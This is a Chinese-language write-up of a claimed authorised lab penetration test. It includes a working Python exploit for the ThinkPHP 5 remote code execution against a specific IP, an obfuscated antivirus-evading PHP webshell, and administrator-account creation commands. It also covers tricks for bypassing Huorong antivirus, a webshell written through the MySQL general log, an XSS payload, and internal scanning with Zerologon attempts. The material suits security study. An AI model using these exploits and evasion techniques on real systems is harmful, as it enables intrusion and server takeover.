0x00 免责声明

本次实验的所有过程都是在完全授权的靶场中进行的,请勿在真实环境中进行任何未授权的尝试,请遵守所在国家或地区的法律法规

本文只探讨技术,记录学习过程,读者相关的任何行为与本文无关

0x01 外网

信息搜集

首先是给了一个 IP 地址,这也没啥好玩的,信息收集虽然是必要的,但是这里也没啥太多必要。虽然动静大,但是效果好,于是直接开始扫。

扫出来这个 IP 下,有三个目录:phpmyadminpublic/ThinkPHP ,和 confluence (8900)。 这也没啥好玩的。

public

访问试探

对 public 进行访问

1
http://47.108.234.61/public/

页面的显示结果如下

ThinkPHP V5

这没啥好说的了,敏锐的室友说这个版本的Think PHP有洞。

POC 搜集

于是简单搜索一下,到处都是 POC。

Google POC

于是还是使用最喜欢的 Python 来 RCE,举个例子就像下面。

Python_RCE_DIR

只是这里需要注意,cmd 中的一些转义符号。

写马

于是就可以开始写马,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
from parsel import Selector

header = {
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Accept-Language": "en",
"User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "72"
}

ma = """echo ^<?php $a=base64_decode('ZXZhbA=='); @eval($_POST['a']); ?^> > pupu.php"""


def send_post(cmd, url1 = "http://47.108.234.61/public/?s=captcha"):
data = "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=" + cmd
res = requests.post(url = url1, headers = header, data = data)
print(res.text)
html = Selector(res.content.decode())
print(html.xpath("//div[@class='echo']").get())
return html

if __name__ == '__main__':
print(send_post(ma))

于是可以一瞬写进去一个一句话,后期由于加入的火绒,导致简单的一句话会被杀,也有可能被阿里云盾杀,但我们的一句话很健壮,有一定的免杀作用,反正是写入成功了。

和室友进行了简单的实验,发现上述马中前面的赋值 $a 看似毫无意义,实则可以和后面的参数名字 a 相互呼应,起到绕过的作用,从而使得马具有一定免杀作用。

因为,同样的环境下,室友的普通一句话木马会被干掉,而我的不会。

蚁剑连马

然后就蚁剑一上。

蚁剑连马

只是这里,蚁剑可能有点问题,只能正确地查看、下载和上传文件。但是执行命令会 RET -1 怎么都不成功,开始还怀疑马有问题,后来觉得应该是蚁剑的问题。

冰蝎连马

那就换了冰蝎,不过既然蚁剑能够正确上传文件,那就利用蚁剑来上传我们的冰蝎马吧。于是上传一下。

冰蝎连接马,如下所示。

冰蝎连马

新建用户

那都连接成功了冰蝎马了,也可以正常执行命令了,又是 Windows 的系统,那没有什么比连接远程桌面更开心的方式了。

那就新建用户,并激活用户,并添加到管理员用户组。

1
2
3
net user ron P@ssword321 /add
net localgroup administrators ron /add
net user ron /active:yes

新建用户

添加用户到管理员组

查看系统当前用户

3389

有了管理员权限并且有了管理员账号,那不就远程桌面走一波咯。

3389

whomai

提权

这里有个小插曲,由于服务频繁被打崩,还有 SB 在里面乱搞别人,故本来想把服务给降权处理为非管理员启动的 php,以此降低webshell的权限,但是,Windows 版本的 phpmyadmin 现在没有管理员权限他就跑不了,非管理员用户运行它也得请求管理员权限才能运行,故,这里的 webshell 始终是 admin 权限,而无法降权。

与火绒的斗智斗勇

与此同时,服务器上面还加上了火绒,这下有点难搞。虽然火绒的杀毒不咋地,但是他的各种规则和行为管控比较难整,之前的通过 net 命令创建新用户的行为太过于明显,直接就会被火绒给默认拦截掉。

这里绕过的方法有以下两种。

通过复制换名绕过

这个方法是只将 net 命令实际程序 net1.exe 复制到另外一个地方并重命名(这个行为不敏感,火绒不拦截),再执行新的重命名的程序,此时可以绕过火绒的检测。此方法来源于 minhal 同学。

通过 powershell 新建用户

此方法来源于网上,找到 powershell 的位置,然后再执行。

命令如下

1
C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe New-LocalUser ron -Password (ConvertTo-SecureString -String 'R@n114514' -AsPlainText -Force)

于是一瞬又成功添加用户。

powershell 添加用户

phpmyadmin

这个也没啥漏洞,就是弱口令,就是玩。

只是运气不大好,尝试了多种组合,刚好错过了正确的组合,后面才知道,只是服务已经重置了,已经从 ThinkPHP 打进去了。

mysql 写(日志)马

但是还是应该玩一玩,那就试试利用 sql 来写马呗。但是很遗憾,没有开启 mysql 写文件的权限,无法通过 sql 直接写马了。

那就再试试另一个马,写日志马,也就是利用 mysql 会将查询记录保存到文件的特性,通过修改日志文件的后缀,再在查询语句中构造出一句话木马,然后就可以将木马写入文件了。

general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。

general log file 指的是日志的保存路径。

1、运行命令,开启日志保存

1
set global general_log='on';

开启日志保存

2、运行下面命令,查看日志保存状态。

1
show variables where Variable_name="general_log"

查看日志保存状态

3、运行下面命令,查看日志输出模式。

1
show variables where Variable_name="log_output";

查看日志输出模式

4、运行下面命令,查看日志文件输出路径

1
show variables where Variable_name="general_log_file";

查看日志文件输出路径

图中所示日志文件保存在:C:\phpstudy_pro\Extensions\MySQL5.7.26\data\iZ58hopi1mrvirZ.log

5、我们修改为某个 php 文件,即可。

下面开始写马,那就应该修改日志文件的位置,并且后缀应该是 php 的,为了方便,还是写在网站的根目录下比较好。

1
set global general_log_file='C:/phpstudy_pro/WWW/.ron.sqllog.php'

设置马保存的位置

6、然后开始书写一句话木马

1
select '<?php $ron114514=base64_decode("ZXZhbA=="); @eval($_POST["ron114514"]);?>';

写马

马保存的文件正常

马确实写进去了

写完了马,就和前面差不多了。

heybbs

这个纯属服务打崩了或者某些基础实在没有的同学玩的,我真的不想玩,但是还是可以玩一玩。

XSS

这没啥防御,到处都是可X的地方,直接在用户名新建为下面的js代码就好了。于是弹窗满天飞,实在是无聊。

1
<script>alert("XSS");</script>

XSS

sql 注入

这里的 sql 注入也是比较简单,在登录的时候,通过万能觅马就能注入进去管理员的账号。

然后帮助管理员管理一下社区。

PUPU

文件上传&图片马

不想整这个文件上传或者图片马。

0x02 内网

外网玩够了,没乐子了,那就看看内网吧还是。

内网主机扫描

ping 扫描主机

远程桌面连接目标主机,然后在里面开始进行内网扫描,这里我们通过cmd中的ping进行存活主机的扫描。

1
for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | find /i "ttl"

扫描结果如下

cmd 扫描

探测到了内网中一共有三个主机,一个 62,一个 64,一个 65。但是 65 显然是机器本身。

这里可把我坑惨了,这个垃圾 ping 扫描不完全,导致我直接扫漏了最为关键的 63,这简直就简直啊。

nmap 扫描主机

后来得知应该是扫漏了,刚好已经有很多朋友已经在上面装好了很多个 nmap 了,这里我们就直接利用现成的 nmap 扫下。

扫描当前网段。

1
nmap.exe 172.22.217.1/24

扫描的结果如下,果然是扫漏了 63 机器。

62 机器及其端口,没看出来有啥明显可以利用的漏洞。

nmap 扫描

63 机器及其端口,除了 666 这个端口数字比较奇怪,其他没啥明显的。

63 的端口扫描结果

64 机器及其端口,更没啥奇怪的。

64 机器的端口扫描结果

66 机器及其端口,甚至只有一个3389.。。。。

66 机器扫描结果

内网端口扫描

既然主机有着落了,那就对主机进行端口扫描,进一步查看相关有无啥明显可以利用的信息。

通过下面命令即可完成。

1
nmap.exe -sS -A -Pn 172.22.217.62

可以看到 64 根本就不在域里面。

64 扫描结果

62在域 401.com 里面。

62 在域里面

63也在域 401.com 里面。

63 在域里面

63 在域里面2

上面还可以发现 63 开启了一个奇怪的 666 端口为一个 http 服务,我们就可以去看看。

jupyter

是的,63 端口开启的就是一个内网的 jupyter 服务。

jupyter 服务

虽然,我提前知道了这个是一个弱口令,但是我就是没有爆破出来,这简直就是简直。

最后,minhal 猜出来了这个是 passwd。。。。。。确实挺弱,但是我确实没有猜出来,也没有爆出来。

用 burp 爆了老久真的没有爆出来,同时猜了4天也没有猜出来。这简直就是简直。

jupyter 写马与维权

好不容易进去了,先要维个权。

jupyter 写马

jupyter 提供的终端

虽然 jupyter 那里提供了一个终端,但是还是反弹 shell 好用些。于是赶紧利用 Python 将我们写好的 CS 马,base64 编码后再通过 jupyter 解码写入文件来写马。

但是这一行为会被火绒发现是病毒文件,并一瞬橄榄!

编码写马失败

于是想通过 powershell 写马,绕开对 jupyter 写马的检测,配上 base64 重定向写入文件。同时由于 base64 后的字段太长,无法进行粘贴,于是先从文件去读取。

命令如下:

1
$file = Get-Content "./b64ma.txt"[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($file)) > .ron1.exe

但是要么被火绒ban了,要么就是架构不对。后来发现应该是这样解码后的内容不正确,反正就是 exe 不对了。

有火绒

提权

本来,如果上面成功了,我们就可以想办法开始研究提权了,由于目标机器是 Windows server 2008 所以理论上是很容易进行提权的。随便搜索一下就有一大堆。

Google 搜到一些方法

但是搜到了可能能用的只有 CVE-2020-0878 了,但是这个玩意是会弹出来一个 “system” 权限的 cmd 但是 webshell 无法接收到。同时已经进入的同学讲到,此洞在阿里云盾上不存在。那我。。。。。这确实是没法了。

横向移动与域控

进行横向移动前,发现一个 CVE-2020-1472 或许可以用,上传的 Python 文件也不容易被杀。同时返回结果也还不错,感觉应该可行。

使用方法参考这里,工具位置在这里。但是很无赖,应该又被火绒联网控制。 但是提权没有成功,也无法远程桌面上去,也不能点击火绒通过联网控制。

CVE-2020-1472

于是这就没法了,我放弃了。